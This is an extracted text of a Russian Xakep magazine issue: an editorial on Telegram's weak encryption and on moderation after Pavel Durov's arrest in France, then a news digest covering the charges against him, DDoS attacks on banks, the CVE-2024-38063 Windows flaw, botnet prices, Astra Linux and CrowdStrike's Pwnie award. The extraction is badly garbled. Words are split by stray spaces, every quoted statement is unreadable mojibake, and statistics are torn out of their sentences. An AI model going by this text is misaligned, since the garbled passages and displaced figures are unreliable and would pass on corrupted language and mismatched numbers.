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Арест Пав ла Дурова во Фран ции ненадол го
стал новостью номер один и породил мно- 
жес тво самых раз ных обсужде ний. Сре ди
них я пос тоян но слы шу две раз дра жающие
ошиб ки. Пер вая — сно ва и сно ва пов торя- 
ются сло ва о том, что
Telegram — «защищен ный» мес сен джер.
Вто рая: в одну кучу валит ся дис куссия
о пра ве на защиту при ват ности и обсужде- 
ние поряд ка модера ции пуб личных ресур- 
сов.

Не уме лое опе риро вание эти ми поняти ями может завес ти в деб ри поч ти
любую дис куссию. Что уж говорить об уме лом и намерен но невер ном! Я пос- 
тара юсь оста вить нем ного в сто роне полити ку и шпи онские страс ти, что бы
сос редото чить ся толь ко на этих двух момен тах.

Пер вый из них для боль шинс тва читате лей «Хакера», думаю, и так оче- 
виден. Telegram — это один из наибо лее сла бо защищен ных мес сен дже ров.
В нем, конеч но, есть воз можность соз дать при ват ный шиф рован ный чат,
но такие чаты — лишь мизер ный про цент тра фика.

Да и при ват ность в дан ном слу чае лишь условная. Пос коль ку исходни ки
сер верной час ти Telegram зак рыты, мы не можем знать, какие метадан ные
хра нят ся и как дол го. А в таких слу чаях мож но сра зу счи тать, что все и веч но.

К тому же Telegram тре бует либо зарегис три ровать ся через телефон ный
номер, либо зап латить тысячу дол ларов в крип товалю те (Дуров тут, воз- 
можно, не видит никаких проб лем, но для нас, нищеб родов, такой фичи счи- 
тай, что нет).

Вы ходит, что нас тоящая при ват ность в Telegram по идее дос тижима,
но лишь при соб людении мно жес тва дру гих усло вий. Про ще уж взять 

 или один из по-нас тояще му ано ним ных мес сен- 
дже ров, о которых мы неод нократ но писали (пос ледний раз по чис той слу- 
чай нос ти — ).

Jabber c
пла гином для шиф рования

сов сем недав но
Ес ли же в логах оста ется вся нешиф рован ная перепис ка с друзь ями, бол- 

товня в груп повых чатах и инфа о каж дом про читан ном пос те в каналах, а сре- 
ди это го — запись о том, что ты ото шел с кем-то пошушу кать ся (при чем и ты,
и, ско рее все го, собесед ник — не ано ним ны), то кон тек ста ока жет ся более
чем дос таточ но, что бы раз гадать тему беседы.

По это му какие-то «клю чи», которые Дуров яко бы может кому-то
передать — это чис тая иллю зия. Адми ны Telegram могут сот рудни чать или не
сот рудни чать со спец служ бами, но если будут, то речь вов се не об ослабле- 
нии шиф рования (как это было в деле « »). Нуж ные дан ные
най дут ся без таких слож ностей.

Apple про тив ФБР

Вто рая тема чуть менее оче вид ная. Пре тен зии фран цуз ских влас тей
к Дурову осно ваны на том, что Telegram час то исполь зует ся в качес тве пло- 
щад ки для тор говли самыми раз ными зап рещен ными суб стан циями и услу- 
гами. За пре дела ми быв ших совет ских и некото рых араб ских стран у Telegram
уже усто явша яся репута ция не удоб ного мес сен дже ра, а имен но меж- 
дународ ного под поль ного базара, где мож но най ти все.

И при ват ные чаты тут лишь допол нитель ная фича, а основная — это
каналы, гуп пы и, в осо бен ности мес тные чаты. Во мно гих стра нах дос таточ но
бук валь но пары нажатий, что бы доб рать ся до зап ретно го, при чем про давец
с боль шой веро ятностью будет в ради усе пары километ ров.

И вот тут в ответ мож но услы шать аргу мент в духе «нель зя судить вла дель- 
ца телефон ной ком пании за то, что люди говорят по телефо ну». Толь ко вот
это никакая не телефон ная ком пания. Если уж искать ана логи, то каналы
в Telegram — это, ско рее, типог рафия, которая печата ет что угод но: от полез- 
ных и соци аль но зна чимых газет до тер рорис тичес ких агит листо вок и катало- 
гов бор делей. Вряд ли прой дет мно го вре мени, преж де чем на пороге такой
типог рафии нарису ется полиция.

Но Telegram — это и не типог рафия тоже. Это куда более прод винутое
средс тво, которое поз воля ет рас простра нять информа цию момен таль но,
пов семес тно и бес плат но. При этом в отли чие от вла дель ца типог рафии,
Дуров не может быть в кур се все го, что печата ется на его плат форме...

Вот тут-то мы наконец-то и подош ли к глав ному и единс твен но сто яще му
воп росу во всей этой дис куссии: дол жны ли плат формо дер жатели модери- 
ровать то, что пишут люди?

Все круп ные пло щад ки это дела ют в той или иной мере, а так же пре дос- 
тавля ют и самим поль зовате лям средс тва для наведе ния поряд ка. В Telegram
кноп ка для жалоб тоже есть, но работа ет она куда сла бее, чем у кон курен тов,
а иног да не работа ет и вов се. Почему?

Мо жет быть, Дуров — убеж денный либер тари анец, а может быть, он счи- 
тает, что любой новый поль зователь — это хорошо (тут мож но вспом нить
исто рию о том, как заг ружа емая юзе рами музыка при бави ла VK популяр- 
ности). А еще не исклю чено, что в Telegram прос то из эко номии не хотят
нанимать тысячи модера торов. Ну или все перечис ленное сра зу!

Ко неч но, кто-то ска жет, что модера ция вооб ще не нуж на и толь ко вре дит.
Кто зна ет, воз можно, в будущем люди дей стви тель но сой дут ся имен но
на этом.

Но пока что ком пания, которая отка зыва ется сле дить за поряд ком сама,
очень силь но под став ляет ся. Если не соот ветс тво вать хотя бы минималь ным
нор мам, то влас ти с удо воль стви ем исполь зуют это для демонс тра- 
ции — смот рите, мол, какой это рас садник вся кой пакос ти!

И речь не о том, пра виль но это или нет. В при ложе нии к прак тике вос при- 
нимать такие вещи сто ит как законы при роды. Сол нце вста ет на вос токе,
от переме ны дав ления дует ветер, а пра витель ства не понима ют юмо ра, ког- 
да видят, что какой-то граж данин сам при думал более спра вед ливые
или выгод ные для себя законы и решил жить по ним.

При чем нав лекши вни мание такого рода, отвертеть ся будет куда труд нее,
и насиль ствен ная регуля ция ока жет ся жес тче, чем мог ла быть доб роволь ная.
Хуже того: в слу чае с Telegram может заод но аук нуть ся и отсутс твие нор маль- 
ного шиф рования.

В общем, под водя итог: тай на перепис ки — вещь нуж ней шая, и отста ивать
ее сто ит все ми воз можны ми спо соба ми. Тут нет никаких воп росов. А вот дис- 
куссии по поводу модера ции пуб личных пло щадок, сво боды сло ва, ее разум- 
ных гра ниц и механиз мов их защиты будет с нами надол го. Суд
над Дуровым — лишь один из эпи зодов, хотя, воз можно, и немало важ ный.

Ко неч но, я желаю Пав лу оста вать ся на сво боде и про дол жить прик- 
ручивать к Telegram новые фичи. Прос то потому что это куда про дук тивнее,
чем сидеть в тюрь ме. Но не пов редит, если сре ди этих фич будут тол ковые
апгрей ды и крип тогра фии, и модера ции.

mailto:apismenny@gmail.com
https://xakep.ru/2017/07/21/jabber-otr-howto/
https://xakep.ru/2024/08/27/5-private-messengers/
https://en.wikipedia.org/wiki/Apple%E2%80%93FBI_encryption_dispute


 «Mifrill» Мария Нефёдова
nefedova@glc.ru

В этом месяце: Пав ла Дурова арес товали во Фран ции,
в США пред ложили исполь зовать OSINT для поис ка проб лем
в Astra Linux, Рос комнад зор собира ется бло киро вать науч- 
но-тех ничес кую информа цию о VPN, мно жес тво про цес- 
соров AMD под верже ны уяз вимос ти Sinkclose, взло ман про- 
изво дитель мик росхем Microchip Technology Incorporated,
а так же дру гие инте рес ные события пос ледне го месяца
лета.

ДУРОВ АРЕСТОВАН
24 августа 2024 года Пав ла Дурова арес товали во Фран ции, пос ле того
как его час тный самолет, летев ший из Азер бай джа на, при зем лился в аэро- 
пор ту Ле-Бур же.

За дер жание свя зано с отсутс тви ем модера ции в Telegram, а так же
нежела нием коман ды мес сен дже ра сот рудни чать с пра воох ранитель ными
орга нами. По мне нию пра воох раните лей, вку пе с пред лага емы ми Telegram
инс тру мен тами (покуп ка номеров, крип товалю ты и так далее), все это дела ет
Пав ла Дурова соучас тни ком мно жес тва тяж ких прес тупле ний, вклю чая нар- 
котор говлю, отмы вание денег, тер роризм, мошен ничес тво и прес тупле ния
про тив детей.

Как сооб щил фран цуз ский телека нал TF1, ордер о задер жании Дурова
дей ство вал толь ко на фран цуз ской тер ритории и всту пал в силу, как толь ко он
пересе кал гра ницу. При этом, сог ласно откры тым источни кам, у Дурова
четыре граж данс тва: Рос сии, Сент-Китс и Невис, Объ еди нен ных Араб ских
Эми ратов (ОАЭ) и Фран ции. Это озна чает, что, как граж данин Фран ции, он
не под лежит обме ну или экс тра диции.

Ор дер был выдан в рам ках пред варитель ного рас сле дова ния, про води- 
мого управле нием судеб ной полиции по делам несовер шенно лет них, сооб- 
щает изда ние Le Figaro. Так же сооб щалось, что в рас сле дова нии при нима ют
учас тие и дру гие следс твен ные орга ны, в том чис ле занима ющиеся делами
о мошен ничес тве, тор говле нар котика ми, кибер буллин ге, орга низо ван ной
прес тупнос ти, оправда нии тер рориз ма, отмы вании денег и так далее.

По соль ство Рос сии в Париже пот ребова ло от фран цуз ских влас тей разъ- 
яснить при чины задер жания Пав ла Дурова и сооб щило, что находит ся в кон- 
такте с его адво катом. Одна ко в посоль стве отме тили, что «фран цуз ские
влас ти укло няют ся от сот рудни чес тва по это му воп росу».

В МИД Рос сии тоже нап равили ноту с тре бова нием о дос тупе к Пав лу
Дурову, одна ко Париж рас смат рива ет его фран цуз ское граж данс тво
как основное.

Сог ласно заяв лению, опуб ликован ному про кура турой Парижа, свя зан ное
с Пав лом Дуровым рас сле дова ние было ини цииро вано под разде лени ем про- 
кура туры Парижа JUNALCO (а имен но отде лом по борь бе с кибер прес- 
тупностью) и начато в отно шении неназ ванных лиц еще 8 июля 2024 года.

В пресс-релизе перечис лены 12 сос тавов прес тупле ний, в свя зи
с которы ми Пав ла Дурова доп рашива ют сле дова тели:
• Со учас тие в управле нии онлайн-плат формой с целью про веде ния

незакон ных тран закций в сос таве орга низо ван ной груп пы.
• От каз пре дос тавить по зап росу ком петен тных орга нов информа цию

или докумен ты, необ ходимые для про веде ния и реали зации раз решен ных
законом мероп риятий по прос лушива нию.

• Со учас тие в хра нении пор ногра фичес ких изоб ражений несовер шенно лет- 
них.

• Со учас тие в рас простра нении, пре дос тавле нии пор ногра фичес ких изоб- 
ражений несовер шенно лет них или обес печении дос тупа к ним в сос таве
орга низо ван ной груп пы.

• Со учас тие в при обре тении, перевоз ке, хра нении, пре дос тавле нии
или сбы те нар котичес ких веществ.

• Со учас тие в пред ложении, про даже или пре дос тавле нии без закон ных
осно ваний обо рудо вания, инс тру мен тов, ПО или дан ных, пред назна чен- 
ных или адап тирован ных для получе ния дос тупа и нанесе ния ущер ба
работе авто мати зиро ван ных сис тем обра бот ки дан ных.

• Со учас тие в орга низо ван ном мошен ничес тве.
• Прес тупный сго вор с целью совер шения прес тупле ния или пра вона руше- 

ния, за которое пре дус мотре но наказа ние в виде лишения сво боды
на срок 5 и более лет.

• От мывание доходов, получен ных в резуль тате совер шения пра вона руше- 
ний и прес тупле ний орга низо ван ной груп пой.

• Ока зание крип тогра фичес ких услуг, нап равлен ных на обес печение кон- 
фиден циаль нос ти без сер тифици рован ного под твержде ния.

• Пре дос тавле ние крип тологи чес кого инс тру мен та, не толь ко обес печива- 
юще го аутен тифика цию или кон троль целос тнос ти, без пред варитель ного
дек лариро вания.

• Им порт крип тологи чес кого инс тру мен та, обес печива юще го аутен тифика- 
цию или кон троль целос тнос ти, без пред варитель ного дек лариро вания.

В нас тоящее вре мя Пав ла Дурова  под судеб ный над зор. Он обя- 
зует ся внес ти залог в раз мере 5 мил лионов евро, а так же являть ся
в полицей ский учас ток два раза в неделю. Ему зап рещено покидать тер- 
риторию Фран ции.

ос вободи ли

Офи циаль ное заяв ление о ситу ации от пред ста вите лей Telegram появи- 
лось в офи циаль ном канале мес сен дже ра:

«

»

«Telegram ñîá ëþäà åò çàêîíû ÅÑ, âêëþ ÷àÿ Çàêîí î öèô ðîâûõ óñëó ãàõ
(Digital Services Act), è åãî ìîäåðà öèÿ ñîîò âåòñ òâó åò îòðàñëå âûì ñòàí- 
äàðòàì è ïîñ òîÿí íî ñîâåð øåíñ òâó åòñÿ.

CEO Telegram Ïàâ ëó Äóðîâó íå÷åãî ñêðû âàòü, è îí ÷àñ òî ïóòåøåñ- 
òâó åò ïî Åâðî ïå.

Àá ñóð äíî óòâåð æäàòü, ÷òî ïëàò ôîðìà èëè åå âëà äåëåö íåñóò
îòâåòñ òâåí íîñòü çà çëî óïîò ðåáëå íèÿ íà ýòîé ïëàò ôîðìå.

Ïî÷ òè ìèë ëèàðä ïîëü çîâàòå ëåé ïî âñå ìó ìèðó èñïîëü çóþò
Telegram êàê ñðåäñ òâî îáùå íèÿ è èñòî÷íèê âàæ íîé èíôîðìà öèè.

Ìû æäåì ñêî ðåé øåãî ðàç ðåøåíèÿ ýòîé ñèòó àöèè. Telegram
ñ âàìè».

Арест Пав ла Дурова про ком менти ровал и пре зидент Фран ции Эмма нюэль
Мак рон, который под чер кнул, что арест гла вы Telegram про изо шел в рам ках
про дол жающе гося судеб ного рас сле дова ния и не явля ется полити чес ким
решени ем.

«

»

«ß ÷èòàþ ëîæ íûå çàÿâ ëåíèÿ î Ôðàí öèè â ñâÿ çè ñ àðåñ òîì Ïàâ ëà
Äóðîâà.

Ôðàí öèÿ, êàê íèêîã äà, ïðè âåð æåíà ñâî áîäå ñëî âà è êîì ìóíèêà öèé,
èííî âàöè ÿì è ïðåä ïðè íèìà òåëü ñòâó. È îñòà íåò ñÿ òàêîâîé âïðåäü.

Â ïðà âîâîì ãîñóäàðñ òâå â ñîöè àëü íûõ ñåòÿõ, êàê è â ðåàëü íîé æèç- 
íè, ñâî áîäû ðåàëè çóþò ñÿ â ðàì êàõ, óñòà íîâ ëåííûõ çàêîíîì
äëÿ çàùèòû ãðàæ äàí è ñîá ëþäåíèÿ èõ îñíîâíûõ ïðàâ.

Îáåñ ïå÷åíèå ñîá ëþäåíèÿ çàêîíà âîç ëîæåíî íà ñóäû, îáëà äàþùèå
ïîë íîé íåçàâè ñèìîñòüþ.

Àðåñò ãëà âû Telegram íà òåð ðèòîðèè Ôðàí öèè ïðî èçî øåë â ðàì êàõ
ïðî äîë æàþùå ãîñÿ ñóäåá íîãî ðàñ ñëå äîâà íèÿ. Ýòî íè â êîåì ñëó ÷àå
íå ïîëèòè ÷åñ êîå ðåøåíèå. Ðåøåíèÿ äîë æíû âûíîñèòü ñóäüè», —
ïèøåò Ìàê ðîí.

Так же об арес те Дурова уже выс казались мно гие извес тные люди, в том чис- 
ле:
• Илон Маск  осво бодить осно вате ля Telegram и фор сит хеш тег

#FreePavel.
приз вал

• Ви талик Бутерин  про исхо дящее «очень пло хим и тре вож ным» зна- 
ком для будуще го соф та и сво боды ком муника ций в Евро пе.

наз вал

• Ким Дот ком пишет, что «при ват ность — не прес тупле ние», и на вся кий слу- 
чай  всех делать бэкапы и очи щать свои акка унты в Telegram.при зыва ет

• Эд вард Сно уден , что арест Дурова «явля ется посяга тель ством
на основные пра ва челове ка, а так же сво боду сло ва и соб раний».

за явил

 DDOS-АТАК НА БАНКИ50 000

В ГК «Солар» под счи тали, что количес тво DDoS-атак на рос сий ские кре дит но-финан совые
орга низа ции в июле 2024 года вырос ло более чем в . Если с янва ря по июнь 2024 года
бан ки стал кивались в сред нем с  DDoS-атак в месяц, то в июле их чис ло вырос ло
поч ти до . Целями атак ста ли более  бан ков, вклю чая лидеров отрасли.

10 раз
3000–5000

50 000 60

При этом за счет атак на бан ки общее количес тво DDoS-атак в Рос сии вырос ло прак тичес ки
в два раза — с  в июне до  в июле 2024 года.56 000 96 000

По прог нозам спе циалис тов, чис ло DDoS-атак на бан ков скую отрасль будет пос тепен но сни- 
жать ся и в бли жай шее вре мя будет дер жать ся на уров не  в день.2000

КРИТИЧЕСКАЯ
УЯЗВИМОСТЬ
В TCP/IP
Ком пания Microsoft пре дуп редила поль зовате лей об исправ лении кри тичес- 
кой уяз вимос ти TCP/IP, допус кавшей уда лен ное выпол нение про изволь ного
кода. Проб лема зат рагива ет все Windows-сис темы, исполь зующие про токол
IPv6, вклю чен ный по умол чанию.

Уяз вимость была обна руже на спе циалис тами Kunlun Lab и получи ла иден- 
тифика тор . Баг свя зан с целочис ленным анти пере пол нени- 
ем (integer underow), которое может исполь зовать ся зло умыш ленни ками
для перепол нения буфера и пос леду юще го выпол нения про изволь ного кода
в сис темах под управле нием Windows 10, Windows 11 и Windows Server.

CVE-2024-38063

Ис сле дова тели решили не рас кры вать детали уяз вимос ти в бли жай шее
вре мя, так как проб лема опас на и поль зовате лям нуж но дать боль ше вре- 
мени на уста нов ку пат чей. При этом в Kunlun Lab отме тили, что бло киров ка
IPv6 на уров не локаль ного бран дма уэра Windows не оста новит экс пло иты,
пос коль ку уяз вимость про явля ется еще до сра баты вания защиты.

Как объ ясня ют в Microsoft, неав торизо ван ные зло умыш ленни ки могут уда- 
лен но исполь зовать эту проб лему в ата ках низ кого уров ня слож ности, мно- 
гок ратно отправ ляя спе циаль но под готов ленные пакеты IPv6. Так же в ком- 
пании пре дуп редили, что экс плу ата ция это го бага весь ма веро ятна, то есть
зло умыш ленни ки могут соз дать экс пло ит для исполь зования уяз вимос ти
в ата ках.

Тем, кто по какой-то при чине не смо жет сра зу уста новить исправ ления,
в ком пании рекомен дуют отклю чить IPv6 вов се, что бы избе жать рис ка воз- 
можных атак.

При этом на сай те под дер жки Microsoft ука зано, что стек сетевых про токо- 
лов IPv6 явля ется «неотъ емле мой частью Windows Vista, Windows Server
2008 и более новых вер сий ОС» и не рекомен дует ся отклю чать IPv6 или его
ком понен ты, пос коль ку это может спро воци ровать некор рек тную работу
некото рых ком понен тов ОС.

Спе циалис ты Trend Micro Zero Day Initiative сооб щили, что уяз вимость CVE-
2024-38063 — одна из наибо лее серь езных проб лем, исправ ленных Microsoft
в этом месяце, и пре дос терег ли, что баг обла дает потен циалом чер вя.

«

»

«Ñàìîé ñåðü åçíîé â ýòîì ìåñÿöå, âåðî ÿòíî, ñòà ëà îøèá êà â TCP/IP,
êîòîðàÿ ïîç âîëÿ åò óäà ëåí íîìó çëî óìûø ëåííè êó, íå ïðî øåä øåìó
àóòåí òèôèêà öèþ, äîáèòü ñÿ âûïîë íåíèÿ êîäà, ïðîñ òî îòïðàâ ëÿÿ ñïå- 
öèàëü íî ïîä ãîòîâ ëåííûå ïàêåòû IPv6 öåëè, — ïèøóò ýêñïåð òû. —
Ýòî îçíà ÷àåò, ÷òî ïðîá ëåìà îáëà äàåò ïîòåí öèàëîì ÷åð âÿ. Âû ìîæåòå
îòêëþ ÷èòü IPv6, ÷òî áû ïðå äîò âðà òèòü ýêñ ïëó àòà öèþ, íî IPv6 âêëþ ÷åí
ïî óìîë ÷àíèþ ïðàê òè÷åñ êè íà âñåõ óñòðîé ñòâàõ».

СКОЛЬКО СТОИТ БОТНЕТ?
Ана лити ки «Лабора тории Кас пер ско го» изу чили объ явле ния о пре дос тавле нии услуг, свя зан ных
с бот нетами в дар кне те и спе циали зиро ван ных Telegram-каналах.

Вы ясни лось, что самая низ кая цена за исполь зование бот нета сос тавила  дол ларов США,
а самая высокая —  дол ларов США.

99
10 000

Что каса ется арен ды бот нетов, сто имость такой услу ги варь иру ется от  до  дол ларов
США в месяц.

30 4800

Бот неты, исходни ки которых утек ли в сеть, явля ются наибо лее дос тупны ми: дос туп к ним мож- 
но получить  или за поч ти сим воличес кую пла ту: от  до  дол ларов США.бес плат но 10 50

Сто имость соз дания бот нета по инди виду аль ному заказу, с нуля, начина ется от  дол ларов
США.

3000

В целом сре ди рас простра нен ных вари антов ком мерчес кого исполь зования бот нетов перечис- 
ляют , , а так же при обре тение 
с утек шим исходным кодом.

сда чу в арен ду раз работ ку на заказ де шевых бот нетов

OSINT ПРОТИВ ASTRA
LINUX
В бло ге Совета по меж дународ ным отно шени ям (Council on Foreign Relations,
CFR) была опуб ликова на , пос вящен ная импорто заме щению в РФ. Ее
автор приз вал исполь зовать раз ведку по откры тым источни кам для изу чения
защищен ности Astra Linux, на что вско ре отре аги рова ли пред ста вите ли
«Груп пы Астра».

статья

CFR позици они рует себя как незави симую орга низа цию в сфе ре меж- 
дународ ных свя зей, а в сос тав ее совета дирек торов вхо дят быв шие раз- 
ведчи ки, жур налис ты и пред ста вите ли деловых кру гов (к при меру, финан- 
совый дирек тор Alphabet).

Ав тором тек ста, пос вящен ного импорто заме щению в Рос сии и уси лива- 
юще муся вли янию китай ских тех нологий, выс тупил нек то Джас тин Шер ман
(Justin Sherman), при этом отме чает ся, что это «приг лашен ный автор».

Вни мание рос сий ских СМИ прив лекла та часть тек ста, где Шер ман пред- 
лага ет США и их пар тне рам исполь зовать раз ведку по откры тым источни кам
(open source intelligence, OSINT) для ана лиза про исхо дяще го на рос сий ском
рын ке. К при меру, пред лага ется изу чать информа цию с рос сий ских кибер- 
конфе рен ций, а так же государс твен ные кон трак ты и пар тнерс тва.

От дель ное вни мание Шер ман уде лил опе раци онной сис теме Astra Linux,
он пишет:

«

»

«Àíà ëèòè êè â Ñîåäè íåí íûõ Øòà òàõ è ñòðà íàõ�ïàð òíå ðàõ äîë æíû
èñïîëü çîâàòü äàí íûå èç îòêðû òûõ èñòî÷íè êîâ, ÷òî áû ïîíÿòü, êàê Ðîñ- 
ñèÿ âíåä ðÿåò òàêèå òåõ íîëîãèè, êàê îïå ðàöè îííàÿ ñèñ òåìà Astra Linux.
Astra Linux øèðîêî ïðè ìåíÿ åòñÿ â ðîñ ñèé ñêèõ âîåí íûõ è ðàç âåäûâà- 
òåëü íûõ ñèñ òåìàõ, ÷òî, âåðî ÿòíî, ñîç äàåò óÿç âèìîñ òè, êîòîðûå ìîãóò
èñïîëü çîâàòü ñÿ â øèðîêèõ ìàñ øòà áàõ. Êðî ìå òîãî, ýòî àäàï òèðîâàí- 
íàÿ è (ïðåä ïîëîæè òåëü íî) óñè ëåí íàÿ âåð ñèÿ ÎÑ ñ îòêðû òûì èñõîäíûì
êîäîì. Ïðè ïåðåõî äå íà êèòàé ñêèå è îòå ÷åñ òâåí íûå ïðî äóê òû Ðîñ ñèÿ
òåðÿ åò äîñ òóï ê òàëàí òàì â îáëàñòè ÈÁ èç ÑØÀ, Çàïàä íîé Åâðî ïû,
ßïî íèè è äðó ãèõ ñòðàí. Âåðî ÿòíî, ðàç ðàáîò ÷èêè Astra Linux èìå þò
ìåíü øå âîç ìîæíîñ òåé äëÿ òåñ òèðîâà íèÿ è çàùèòû ñâî åãî êîäà
çà ñ÷åò øèðîêîé àóäè òîðèè. Äëÿ Ñîåäè íåí íûõ Øòà òîâ è èõ ñîþç íèêîâ
ýòî ìîæåò ñòàòü ñôå ðîé, ãäå îíè ñìî ãóò ïîëó÷èòü ïðå èìó ùåñ òâî
â êèáåð ïðîñòðàíñ òâå».

Пос ле того как эта пуб ликация CFR прив лекла вни мание СМИ, пред ста вите ли
«Груп пы Астра» опуб ликова ли офи циаль ный ответ, в котором сооб щили, что
«при зывы со сто роны инос тран ных аги таци онных ресур сов в оче ред ной раз
под твер дили вер ность нашей биз нес-стра тегии, ори енти рован ной в пер вую
оче редь на соз дание безопас ных решений, уси лен ных собс твен ными средс- 
тва ми защиты информа ции».

«

»

«Èíôîðìà öèîí íàÿ áåçîïàñ íîñòü çàøèòà â ÄÍÊ „Àñòðû“ — ýòî íàø
êëþ ÷åâîé ïðè îðè òåò. Îí íå îïðå äåëÿ åòñÿ ãåîïî ëèòè ÷åñ êîé êîíú þíêòó- 
ðîé: ìû çàíèìà åìñÿ âîï ðîñàìè çàùèùåí íîñòè ñâî èõ ïðî äóê òîâ ïîñ- 
òîÿí íî, ÷òî áû îòâå ÷àòü âûñîêèì òðå áîâà íèÿì ðåãóëÿ òîðîâ è êëè åíòîâ.

Íî â òåêóùèõ ðåàëèÿõ, êîã äà ÷èñ ëî êèáåðà òàê íà ðîñ ñèé ñêóþ êðè- 
òè÷åñ êóþ èíôðàñòðóê òóðó êðàò íî âîç ðîñëî, ìû ïðî äîë æèì ðàç âèâàòü
è óñè ëèâàòü íàøè òåõ íîëîãèè çàùèòû, óêðåïëÿòü âíóò ðåííþþ
èíôðàñòðóê òóðó áåçîïàñ íîé ðàç ðàáîò êè, à òàê æå èíñ òðó ìåí òàðèé ïðî- 
âåð êè è àíà ëèçà êîäà.

„Ãðóï ïà Àñòðà“ ðàñ ïîëàãà åò äîñ òàòî÷ íûìè ðåñóð ñàìè äëÿ òåñ- 
òèðîâà íèÿ êîäà, îïå ðàòèâ íîãî óñòðà íåíèÿ óÿç âèìîñ òåé, óäå ëÿåò áîëü- 
øîå âíè ìàíèå òàêèì òåõ íîëîãè ÿì, êàê ìàí äàòíîå ðàç ãðà íè÷å íèå äîñ- 
òóïà è êîí òðîëü öåëîñ òíîñ òè, çàì êíó òàÿ ïðîã ðàì ìíàÿ ñðå äà, è äðó ãèì
ñðåäñ òâàì çàùèòû. Ìû ïëîò íî âçà èìî äåé ñòâó åì ñ öåí òðîì áåçîïàñ- 
íîñòè ÿäðà Linux Èíñòè òóòà ñèñ òåìíî ãî ïðîã ðàììè ðîâà íèÿ ÐÀÍ. Ãîä
íàçàä ìû çàïóñ òèëè ïðîã ðàììó Bug Bounty, êîòîðàÿ ïîç âîëÿ åò âûÿâ- 
ëÿòü è îïå ðàòèâ íî óñòðà íÿòü ñëà áûå ìåñ òà â íàøèõ ñðåäñ òâàõ çàùèòû
èíôîðìà öèè.

Â ñâÿ çè ñî ñëî æèâ øåé ñÿ ìåæ äóíàðîä íîé îáñòà íîâ êîé òàê æå óñè- 
ëåíû ìåðû ïî âûÿâ ëåíèþ âðå äîíîñ íûõ âêëþ ÷åíèé â ïðîã ðàì ìíîå
îáåñ ïå÷åíèå, ïðî âîäèò ñÿ äîïîë íèòåëü íûé àíòè âèðóñ íûé êîí òðîëü
ñ ïðè ìåíå íèåì íåñ êîëü êèõ ñïå öèàëè çèðî âàí íûõ ñðåäñòâ», — ãëà ñèò
çàÿâ ëåíèå.

Так же под черки вает ся, что рос сий ские регуля торы, «осоз навая важ ность
информа цион ной безопас ности и тех нологи чес кого сувере ните та», нак- 
ладыва ют жес ткие тре бова ния на раз работ чиков средств защиты информа- 
ции.

«

»

«Â ÷àñ òíîñ òè, ýòî êàñà åòñÿ ïðî öåñ ñîâ ðàç ðàáîò êè áåçîïàñ íîãî ïðîã- 
ðàì ìíî ãî îáåñ ïå÷åíèÿ è îïå ðàòèâ íîãî óñòðà íåíèÿ óÿç âèìîñ òåé. Ïðè- 
îðè òåòû â ñôå ðå èíôîðìà öèîí íîé áåçîïàñ íîñòè (ÈÁ) ó áèç íåñà
è ãîñóäàðñ òâà ñîâ ïàäà þò, âî ìíî ãîì áëà ãîäà ðÿ óñè ëèÿì Ôåäåðàëü íîé
ñëóæ áû ïî òåõ íè÷åñ êîìó è ýêñïîðòíî ìó êîí òðî ëþ (ÔÑÒÝÊ Ðîñ ñèè),
êîòîðàÿ ñóùåñ òâåí íî ìîäåð íèçèðî âàëà òðå áîâà íèÿ ê ÈÁ êîì ïàíèé
è ëèäèðó åò íàï ðàâëå íèå â îáëàñòè ðàç ðàáîò êè áåçîïàñ íîãî ïðîã ðàì- 
ìíî ãî îáåñ ïå÷åíèÿ. ÎÑ Astra Linux ñåð òèôèöè ðîâà íà ÔÑÒÝÊ Ðîñ ñèè
ïî ïåð âîìó óðîâ íþ äîâåðèÿ è êëàñ ñó çàùèòû. Ýòî ïîä òâåðæäà åò
âûñîêèå ðåçóëü òàòû íàøåé äåÿòåëü íîñ òè ïî îáåñ ïå÷åíèþ ÈÁ», —
ïîÿñ íèëè â «Ãðóï ïå Àñòðà».

В кон це пред ста вите ли ком пании напом нили, что защищен ность
ИТ-инфраструк туры зависит от все го ком плек са средств ИБ, который при- 
меня ется в орга низа ции (а не толь ко в ОС), а так же от того, нас коль ко эти
про дук ты интегри рова ны и уси лива ют друг дру га.

«

»

«Ïîýòî ìó ñî ñâî åé ñòî ðîíû „Ãðóï ïà Àñòðà“ íàñ òîÿòåëü íî ðåêîìåí äóåò
çàêàç ÷èêàì èñïîëü çîâàòü âåñü êîì ïëåêñ ñðåäñòâ çàùèòû èíôîðìà öèè,
íåîá õîäèìûé äëÿ çàùèòû èíôîðìà öèè ñ ó÷å òîì êîí êðåò íîé ìîäåëè
óãðîç, ïðà âèëü íî âûáèðàòü ðåæèìû ôóí êöè îíè ðîâà íèÿ, âíè ìàòåëü íî
ñëå äîâàòü ðåêîìåí äàöè ÿì è ìåòîäè ÷åñ êèì èíñ òðóê öèÿì ïî íàñ òðîé êå
áåçîïàñ íîñòè ñðåäñòâ çàùèòû èíôîðìà öèè, â òîì ÷èñ ëå ÎÑ Astra
Linux, è ñâî åâðå ìåí íî ïðè ìåíÿòü îáíîâëå íèÿ, íàï ðàâëåí íûå íà óñòðà- 
íåíèå ïîòåí öèàëü íûõ óÿç âèìîñ òåé», — ðåçþìè ðîâà ëè â êîì ïàíèè.

PWNIE ДЛЯ CROWDSTRIKE
В Лас-Вегасе прош ла хакер ская кон ферен ция DEF CON, на которой тра дици онно объ яви ли
победи телей пре мии Pwnie Award. Наг рада за самый эпич ный про вал (Most Epic Fail) была при- 
суж дена ком пании CrowdStrike, и ее получил лич но пре зидент ком пании Май кл Сен тонас
(Michael Sentonas).

На пом ним, что в середи не июля 2024 года обновле ние enterprise-решения CrowdStrike
Falcon Sensor  к тому, что мил лионы Windows-сис тем показа ли «синий экран смер ти»
(BSOD).

при вело

→ «Мы неод нократ но пов торяли, что очень важ но приз навать, ког да вы сде лали
что-то хорошо. Но очень важ но приз навать и то, что вы сде лали что-то ужас но
неп равиль ное, что и про изош ло в дан ном слу чае.

При чина, по которой я хотел получить тро фей, такова: я воз вра щаюсь
в штаб-квар тиру. Я собира юсь взять этот тро фей с собой. Он будет сто ять
на самом вид ном мес те, потому что я хочу, что бы каж дый сот рудник
CrowdStrike, при ходя щий на работу, видел его. Ведь наша цель — защищать
людей, а мы допус тили ошиб ку. Я хочу убе дить ся, что все понима ют, что такое
нель зя допус кать и имен но в этом зак люча ется суть нашего сооб щес тва.

Так что с этих позиций я ска жу вам спа сибо и заберу тро фей. Мы пос тавим
его в нуж ном мес те и убе дим ся, что все его уви дят», —

за явил Сен тонас соб равшим ся на DEF CON, и пуб лика встре тила речь и откро вен ность гла вы
CrowdStrike бур ными апло дис мента ми.

